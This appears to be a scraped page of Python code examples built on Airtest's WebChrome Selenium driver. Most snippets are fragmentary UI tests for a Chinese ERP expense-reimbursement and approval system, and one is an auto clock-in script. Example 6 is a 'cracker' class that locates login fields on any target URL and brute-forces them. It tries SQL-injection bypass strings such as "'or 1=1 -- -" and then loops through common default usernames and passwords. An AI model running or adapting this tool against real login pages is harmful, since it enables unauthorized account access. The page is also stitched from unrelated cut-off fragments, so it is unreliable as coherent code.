Exemplo n.º 1
0
Arquivo: daka.py Projeto: gsj5533/-
def job1(useid, password):
    #通过python自带的模块判断是不是节假日
    nowTime = datetime.date(datetime.datetime.now().year,
                            datetime.datetime.now().month,
                            datetime.datetime.now().day)
    print(is_workday(nowTime))

    if is_workday(nowTime):
        print('Its weekday')
        driver = WebChrome()
        driver.implicitly_wait(20)
        driver.get(
            "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html"
        )
        driver.find_element_by_id('login').send_keys(useid)
        driver.find_element_by_id('password').send_keys(password)
        driver.find_element_by_xpath("//button[@class='login_botton']").click()
        driver.find_element_by_xpath(
            "//div[@class='pan' and @label='人力资源2.0']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//a[@class = 'gn_block gn_block1']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//button[@class='ant-btn sign-btn signout ant-btn-primary']"
        ).click()
        driver.quit()
    else:
        print('Its holiday')
Exemplo n.º 2
0
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595319156050.png",
             record_pos=(3.73, 3.635),
             resolution=(100, 100)), "进入选择借款单界面")
driver.airtest_touch(
    Template(r"tpl1595319182296.png",
             record_pos=(14.42, 5.43),
             resolution=(100, 100)))
driver.find_element_by_xpath(
    "//*[@id=\"erp_cmbREPAY_MODE_ID\"]/div/div/input").click()
driver.airtest_touch(
    Template(r"tpl1595319230179.png",
             record_pos=(3.325, 4.44),
             resolution=(100, 100)))
driver.find_element_by_id("erp_txtMEMO").send_keys("123")
driver.find_element_by_id("erp_txtREPAY_AMOUNT").clear()
driver.find_element_by_id("erp_txtREPAY_AMOUNT").send_keys("1000")

driver.airtest_touch(
    Template(r"tpl1595319316699.png",
             record_pos=(2.16, 1.735),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595319464979.png",
             record_pos=(13.595, 2.665),
             resolution=(100, 100)), "保存")
driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')  #滑到底部
driver.airtest_touch(
    Template(r"tpl1595490704194.png",
             record_pos=(1.755, 9.28),
Exemplo n.º 3
0
driver.find_element_by_xpath(
    "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[4]/li/ul/div/a/li/span"
).click()
driver.assert_template(
    Template(r"tpl1595484957475.png",
             record_pos=(11.275, 0.975),
             resolution=(100, 100)), "进入费用报销申请单界面")
driver.airtest_touch(
    Template(r"tpl1595484997538.png",
             record_pos=(10.46, 1.81),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595485017525.png",
             record_pos=(9.765, 1.565),
             resolution=(100, 100)), "进入新增费用报销界面")
driver.find_element_by_id("erp_txtMEMO").send_keys("报销租金")
driver.airtest_touch(
    Template(r"tpl1595485120532.png",
             record_pos=(9.64, 1.79),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595485135763.png",
             record_pos=(15.045, 0.82),
             resolution=(100, 100)), "提示保存成功")
driver.assert_template(
    Template(r"tpl1595485175400.png",
             record_pos=(9.59, 5.37),
             resolution=(100, 100)), "显示报销明细")
driver.airtest_touch(
    Template(r"tpl1595485196897.png",
             record_pos=(9.665, 5.575),
Exemplo n.º 4
0

# 登录黄振旭账号,提交差旅报销申请单
common.login(driver,"huangzhenxu")
driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.")


common.upload_invoice(driver) # 上传一张发票
driver.airtest_touch(Template(r"tpl1597398632931.png", record_pos=(0.36, 7.65), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595237905970.png", record_pos=(9.16, 1.595), resolution=(100, 100)), "打开差旅报销申请单")
driver.airtest_touch(Template(r"tpl1595238021979.png", record_pos=(9.275, 2.43), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595238038956.png", record_pos=(8.545, 2.035), resolution=(100, 100)), "进入新增页面")
driver.airtest_touch(Template(r"tpl1595238520371.png", target_pos=4, record_pos=(7.775, 4.005), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595238613863.png", record_pos=(3.855, 4.43), resolution=(100, 100)), "进入选择出差申请单界面")
driver.airtest_touch(Template(r"tpl1595238654302.png", record_pos=(14.395, 5.615), resolution=(100, 100)))
driver.find_element_by_id("erp_txtMEMO").send_keys("租金")

driver.airtest_touch(Template(r"tpl1595238805466.png", record_pos=(2.18, 2.125), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595238835098.png", record_pos=(13.135, 1.555), resolution=(100, 100)), "提示保存成功")
driver.assert_template(Template(r"tpl1595469277807.png", record_pos=(13.305, 2.33), resolution=(100, 100)), "保存成功")
time.sleep(1)
driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')   #滑到底部
driver.find_element_by_xpath("//*[@id=\"pane-first\"]/form/div[4]/div/div/div/div/input").send_keys("审批意见")
driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1597398883604.png", record_pos=(4.07, 2.675), resolution=(100, 100)), "提交成功,进入直属领导审批")
common.quit(driver)
# 登录何英
common.login(driver,"heying")
driver.find_element_by_xpath("//*[@id=\"dashboard\"]/form/div/div/div/div[2]/div/div[4]/div[2]/table/tbody/tr/td[2]/div/span").click()
driver.assert_template(Template(r"tpl1595469628616.png", record_pos=(9.655, 1.54), resolution=(100, 100)), "进入审批界面")
sleep(1)
driver.assert_template(
    Template(r"tpl1594866964820.png",
             record_pos=(8.41, 1.275),
             resolution=(100, 100)), "选择人员")
driver.airtest_touch(
    Template(r"tpl1594866998339.png",
             record_pos=(17.14, 4.035),
             resolution=(100, 100)))

driver.find_element_by_xpath("//input[@placeholder='选择招待日期']").click()
driver.airtest_touch(
    Template(r"tpl1594867092167.png",
             target_pos=6,
             record_pos=(17.3, 5.43),
             resolution=(100, 100)))
driver.find_element_by_id("erp_txtSERVE_ESTIMATED_COST").clear()
driver.find_element_by_id("erp_txtSERVE_ESTIMATED_COST").send_keys("500")
driver.airtest_touch(
    Template(r"tpl1594867171110.png",
             record_pos=(9.37, 4.33),
             resolution=(100, 100)))
driver.airtest_touch(
    Template(r"tpl1594867195573.png",
             record_pos=(9.365, 5.445),
             resolution=(100, 100)))
driver.airtest_touch(
    Template(r"tpl1594868096187.png",
             record_pos=(10.215, 4.73),
             resolution=(100, 100)))
driver.find_element_by_xpath("//*[@id=\"erp_txtSERVE_GUESTS\"]").send_keys(
    "招待对象")
Exemplo n.º 6
0
class cracker():
    def __init__(self, target_url):
        self.driver = WebChrome()
        self.driver.get(target_url)
        self.driver.implicitly_wait(20)

        self.exp_user_dic = [
            "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1",
            "')or('a'='a", "'or 1=1 -- -"
        ]
        self.exp_pass_dic = self.exp_user_dic
        self.static_user_dic = [
            'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www',
            'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email',
            'account'
        ]
        self.suffix_dic = ['', '123', '888', '666', '123456']
        self.static_pass_dic = [
            '{user}', '123456', '{user}888', '12345678', '123123', '88888888',
            '888888', 'password', '123456a', '{user}123', '{user}123456',
            '{user}666', '{user}2018', '123456789', '654321', '666666',
            '66666666', '1234567890', '8888888', '987654321', '0123456789',
            '12345', '1234567', '000000', '111111', '5201314', '123123',
            'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020',
            'P@ssw0rd2021'
        ]

        self.password_inputbox_id = ''
        self.username_inputbox_id = ''

    def find_element_ids(self):
        page_source = self.driver.page_source
        username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"]
        rex_ele_id = re.compile(r'id="(\S*?)"')
        rex_username_ele = re.compile(r'(<input .*type="text".*?>)')
        rex_password_ele = re.compile(r'(<input .*type="password".*?>)')
        possible_username_eles = rex_username_ele.findall(page_source)
        username_ele = ''
        for possible_username_ele in possible_username_eles:
            if username_ele:
                break
            for username_flag in username_flags:
                if username_flag in possible_username_ele:
                    username_ele = possible_username_ele
                    break

        if not username_ele:
            self.username_inputbox_id = ''
        else:
            self.username_inputbox_id = rex_ele_id.findall(username_ele)[0]
            print("Uername Input Box ID:\t{}".format(
                self.username_inputbox_id))

        password_eles = rex_password_ele.findall(page_source)
        password_ele = password_eles[0] if password_eles else ''
        if not password_ele:
            self.password_input_id = ''
        else:
            self.password_inputbox_id = rex_ele_id.findall(password_ele)[0]
            print("Password Input Box ID:\t{}".format(
                self.password_inputbox_id))

        return True

    def brute_force(self, username, password):
        password = password.replace(
            '{user}', username) if '{user}' in password else password
        print('Trying {0}:{1}'.format(username, password))

        username_ele = self.driver.find_element_by_id(
            self.username_inputbox_id
        ) if self.username_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='text']")
        password_ele = self.driver.find_element_by_id(
            self.password_inputbox_id
        ) if self.password_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='password']")
        username_ele.clear()
        username_ele.send_keys(username)
        password_ele.send_keys(password)
        password_ele.send_keys(Keys.RETURN)
        sleep(2)
        if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source:
            print('Login Failed')
            return False
        else:
            print('Login Succeed')
            return True

    def loop(self, users, passwords):
        for user in users:
            for password in passwords:
                try:
                    ret = self.brute_force(user, password)
                    if ret:
                        return True
                except Exception as e:
                    print(e)
                    self.driver.refresh()
                    sleep(1)
        return False

    def run(self, userfile='', passfile=''):
        self.find_element_ids()
        if userfile and passfile:
            users = open(userfile).read().strip('\n').split('\n')
            passwords = open(passfile).read().strip('\n').split('\n')
            if self.loop(users, passwords):
                print("爆破成功")
                input()
        else:
            print("Loading inject users/passwords")
            users = self.exp_user_dic
            passwords = self.exp_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()

            print("Loding default account pairs")
            users = []
            for suffix in self.suffix_dic:
                for user in self.static_user_dic:
                    users.append(user + suffix)
            passwords = self.static_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()
driver.find_element_by_xpath(
    "//*[@id=\"erp_cmbTRAVEL_TO_PLACE\"]/div/div/input").click()
driver.airtest_touch(
    Template(r"tpl1594807757859.png",
             record_pos=(10.455, 4.745),
             resolution=(100, 100)))

driver.airtest_touch(
    Template(r"tpl1594807773681.png",
             record_pos=(12.275, 4.745),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1594807036893.png",
             record_pos=(15.575, 4.205),
             resolution=(100, 100)), "选择目的地")
driver.find_element_by_id("erp_cmbTRAVEL_WAY").click()
driver.airtest_touch(
    Template(r"tpl1594807956116.png",
             record_pos=(7.25, 4.575),
             resolution=(100, 100)))

driver.assert_template(
    Template(r"tpl1594807104688.png",
             record_pos=(15.22, 4.085),
             resolution=(100, 100)), "选择出行方式")
driver.find_element_by_xpath("//input[@placeholder='选择出差开始日期']").click()
driver.airtest_touch(
    Template(r"tpl1594807219148.png",
             target_pos=4,
             record_pos=(10.94, 6.49),
             resolution=(100, 100)))
Exemplo n.º 8
0
driver = WebChrome()
driver.implicitly_wait(20)

driver.get("http://14.21.59.70:1000/")
driver.maximize_window()#放大浏览器
#登录黄振旭账号,填写预付款申请单↓
common.login(driver,"huangzhenxu")
driver.assert_exist("//*[@id=\"tags-view-container\"]/div/div/div/span", "xpath", "验证是否登录进入主页.")
driver.airtest_touch(Template(r"tpl1597394167142.png", record_pos=(0.07, 6.645), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595215637171.png", record_pos=(6.735, 1.575), resolution=(100, 100)), "进入预付款申请单页面")
driver.airtest_touch(Template(r"tpl1595215662545.png", record_pos=(7.125, 1.975), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595215694789.png", record_pos=(6.4, 1.76), resolution=(100, 100)), "进入新增界面")
driver.find_element_by_xpath("//*[@id=\"erp_cmbEXPECTED_INVOICE_TYPE\"]/div/div/input").send_keys("")
driver.airtest_touch(Template(r"tpl1595215753390.png", record_pos=(7.805, 5.555), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595215764639.png", record_pos=(7.065, 4.355), resolution=(100, 100)), "选择预计发票类型")
driver.find_element_by_id("erp_txtEXPECTED_INVOICE_RATE").clear()
driver.find_element_by_id("erp_txtEXPECTED_INVOICE_RATE").send_keys("10")
driver.find_element_by_id("erp_txtADVANCES_AMOUNT").clear()
driver.find_element_by_id("erp_txtADVANCES_AMOUNT").send_keys("1000")
driver.find_element_by_id("erp_txtPAYEE_BANK_ACCOUNT").send_keys("123456")
driver.find_element_by_id("erp_txtPAYEE_BANK").send_keys("654321")
driver.find_element_by_id("erp_txtPAYEE_FULL_NAME").send_keys("银河装备")
driver.find_element_by_id("erp_txtADVANCES_REASON").send_keys("租金")
driver.find_element_by_id("erp_txtMEMO").send_keys("租金")
driver.find_element_by_id("erp_cmbADVANCES_ATTR_TYPE").click()
driver.airtest_touch(Template(r"tpl1597394517213.png", record_pos=(3.355, 4.395), resolution=(100, 100)))
driver.airtest_touch(Template(r"tpl1595216371565.png", record_pos=(7.775, 2.75), resolution=(100, 100)))
driver.assert_template(Template(r"tpl1595216415181.png", record_pos=(11.535, 3.105), resolution=(100, 100)), "保存成功")
driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')   #滑到底部
driver.assert_template(Template(r"tpl1595216500600.png", record_pos=(10.69, 8.12), resolution=(100, 100)), "显示下一步审批人员")
driver.airtest_touch(Template(r"tpl1595490704194.png", record_pos=(1.755, 9.28), resolution=(100, 100)))
Exemplo n.º 9
0
ActionChains(driver).move_to_element(tag_element).perform()#鼠标悬停到该元素
driver.find_element_by_link_text("ERP").click()#点击该元素
driver.assert_template(Template(r"tpl1583921002974.png", record_pos=(5.87, 1.895), resolution=(100, 100)), "是否定位至erp")
driver.find_element_by_xpath("//img[@src='images/product/js_1.png']").click()
driver.assert_template(Template(r"tpl1583921034507.png", record_pos=(7.63, 2.285), resolution=(100, 100)), "是否定位至讲师")
js="window.scrollTo(0,document.body.scrollHeight)" 
driver.execute_script(js)#页面滑动至最底部
time.sleep(1)
driver.assert_template(Template(r"tpl1583919799081.png", record_pos=(4.455, 7.99), resolution=(100, 100)), "验证是否滑动至最底部")
driver.find_element_by_xpath("//a[@href='about.html']").click()
driver.assert_template(Template(r"tpl1583918269179.png", record_pos=(3.38, 4.15), resolution=(100, 100)), "是否跳转至关于我们页面")
driver.find_element_by_xpath("//a[@href='download.html']").click()
driver.assert_template(Template(r"tpl1583918305017.png", record_pos=(3.245, 5.25), resolution=(100, 100)), "是否跳转至下载专区页面")
# driver.find_element_by_xpath("/html/body/div[4]/div/div[2]/div/div[3]/a").click()
driver.find_element_by_xpath("//a[@href='#']").click()
driver.find_element_by_id("companyText").send_keys("看一下")
driver.find_element_by_xpath("//input[@placeholder='手机号:']").send_keys("13411111111")
driver.find_element_by_xpath("//input[@placeholder='验证码:']").send_keys("1023")
driver.find_element_by_xpath("//textarea[@placeholder='留言:']").send_keys("6666666")
driver.find_element_by_xpath("//div[@onclick='doSubmit()']").click()

time.sleep(4)
driver.quit()







Exemplo n.º 10
0
             resolution=(100, 100)), "进入借款单页面")
driver.airtest_touch(
    Template(r"tpl1595381273465.png",
             record_pos=(10.055, 1.96),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595381296421.png",
             record_pos=(9.375, 1.75),
             resolution=(100, 100)), "进入新增借款单界面")
driver.find_element_by_xpath(
    "//*[@id=\"erp_cmbLOAN_TYPE_ID\"]/div/div/input").click()
driver.airtest_touch(
    Template(r"tpl1597391204520.png",
             record_pos=(3.49, 6.075),
             resolution=(100, 100)))
driver.find_element_by_id("erp_txtLOAN_AMOUNT").clear()
driver.find_element_by_id("erp_txtLOAN_AMOUNT").send_keys("1000")
driver.find_element_by_xpath("//input[@placeholder='选择预计还款日期']").click()
driver.airtest_touch(
    Template(r"tpl1595381535711.png",
             record_pos=(17.185, 6.565),
             resolution=(100, 100)))
driver.find_element_by_id("erp_txtLOAN_REASON").send_keys("事由租金")
driver.find_element_by_id("erp_txtMEMO").send_keys("备注租金")
driver.airtest_touch(
    Template(r"tpl1595383208112.png",
             record_pos=(9.25, 1.96),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595383320737.png",
             record_pos=(13.19, 2.94),
Exemplo n.º 11
0
driver.find_element_by_xpath(
    "//*[@id=\"app\"]/div/div[1]/div[2]/div[1]/div/ul/div[4]/li/ul/div[2]/a/li/span"
).click()
driver.assert_template(
    Template(r"tpl1595228936982.png",
             record_pos=(2.895, 0.88),
             resolution=(100, 100)), "进入费用报销申请单")
driver.airtest_touch(
    Template(r"tpl1595228967476.png",
             record_pos=(2.99, 1.69),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595228980833.png",
             record_pos=(2.275, 1.495),
             resolution=(100, 100)), "进入新增页面")
driver.find_element_by_id("erp_txtMEMO").send_keys("租金")
driver.airtest_touch(
    Template(r"tpl1595229065206.png",
             record_pos=(2.195, 1.705),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595229087417.png",
             record_pos=(8.795, 2.07),
             resolution=(100, 100)), "保存成功")
driver.execute_script('window.scrollTo(0,400)')  #滑到400的位置
driver.airtest_touch(
    Template(r"tpl1595229365733.png",
             record_pos=(2.165, 1.915),
             resolution=(100, 100)))
driver.assert_template(
    Template(r"tpl1595229377593.png",